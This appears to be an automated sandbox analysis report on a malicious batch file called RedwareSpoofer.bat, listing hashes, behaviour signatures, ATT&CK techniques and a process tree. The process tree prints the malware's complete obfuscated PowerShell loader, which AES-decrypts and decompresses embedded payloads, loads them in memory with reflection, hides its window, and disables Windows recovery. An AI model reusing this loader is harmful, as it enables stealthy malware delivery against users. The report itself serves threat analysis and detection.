747b16e1c41f4e99be3b52a4dbd712cd4d5407f6afffdf5d20f61b2e4c4d63b6

General

Target

RedwareSpoofer.bat
Size

504KB
MD5

7e3035eb197a52820c5a33c064917a8e
SHA1

147d70a538be4135dbd2ad4dbf2fd750a6d387ee
SHA256

747b16e1c41f4e99be3b52a4dbd712cd4d5407f6afffdf5d20f61b2e4c4d63b6
SHA512

f95b2c680d39bd529dac582aed23340b196bf85bb0bb2011261c8c3d59962d71e18e0d675bfd73c1e24675cc499e022cdc62b9daadd6b0f877ec97988ca8737c
SSDEEP

12288:iuXbEUU3h+QHSyN1iWFTM1hK0gddk5uMmYmi0125gDv:iuXbjUR+IRiWFTMjKpkL7a2sv

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2100	powershell.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\Recovery\ReAgent.xml	ReAgentc.exe
File opened for modification	C:\Windows\system32\Recovery	ReAgentc.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 1996	2088	cmd.exe	32
PID 2088 wrote to memory of 1996	2088	cmd.exe	32
PID 2088 wrote to memory of 1996	2088	cmd.exe	32
PID 1996 wrote to memory of 2060	1996	net.exe	33
PID 1996 wrote to memory of 2060	1996	net.exe	33
PID 1996 wrote to memory of 2060	1996	net.exe	33
PID 2088 wrote to memory of 1800	2088	cmd.exe	34
PID 2088 wrote to memory of 1800	2088	cmd.exe	34
PID 2088 wrote to memory of 1800	2088	cmd.exe	34
PID 2088 wrote to memory of 2116	2088	cmd.exe	35
PID 2088 wrote to memory of 2116	2088	cmd.exe	35
PID 2088 wrote to memory of 2116	2088	cmd.exe	35
PID 2088 wrote to memory of 2100	2088	cmd.exe	36
PID 2088 wrote to memory of 2100	2088	cmd.exe	36
PID 2088 wrote to memory of 2100	2088	cmd.exe	36

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\RedwareSpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2060
- C:\Windows\system32\ReAgentc.exe
  reagentc.exe /disable
  2⤵
  - Drops file in System32 directory
  PID:1800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zCWWg6vIbre+B0w3UuUd/NsHB3sHwnb8H8y/NYDt5PU='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('IKQYe9gd88vztHJcw6phFg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $kaqXF=New-Object System.IO.MemoryStream(,$param_var); $EQBuw=New-Object System.IO.MemoryStream; $sJMfi=New-Object System.IO.Compression.GZipStream($kaqXF, [IO.Compression.CompressionMode]::Decompress); $sJMfi.CopyTo($EQBuw); $sJMfi.Dispose(); $kaqXF.Dispose(); $EQBuw.Dispose(); $EQBuw.ToArray();}function execute_function($param_var,$param2_var){ $HYSQt=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $gXvrb=$HYSQt.EntryPoint; $gXvrb.Invoke($null, $param2_var);}$latne = 'C:\Users\Admin\AppData\Local\Temp\RedwareSpoofer.bat';$host.UI.RawUI.WindowTitle = $latne;$czvVt=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($latne).Split([Environment]::NewLine);foreach ($JBkBq in $czvVt) { if ($JBkBq.StartsWith('WwSYUPskWuZgnEierlVQ')) { $YJdtG=$JBkBq.Substring(20); break; }}$payloads_var=[string[]]$YJdtG.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2100-5-0x000007FEF648E000-0x000007FEF648F000-memory.dmp

Filesize
4KB

Download
memory/2100-6-0x000000001B780000-0x000000001BA62000-memory.dmp

Filesize
2.9MB

Download
memory/2100-7-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2100-11-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2100-10-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2100-9-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2100-8-0x0000000001FC0000-0x0000000001FC8000-memory.dmp

Filesize
32KB

Download
memory/2100-12-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download
memory/2100-13-0x000007FEF648E000-0x000007FEF648F000-memory.dmp

Filesize
4KB

Download
memory/2100-14-0x000007FEF61D0000-0x000007FEF6B6D000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing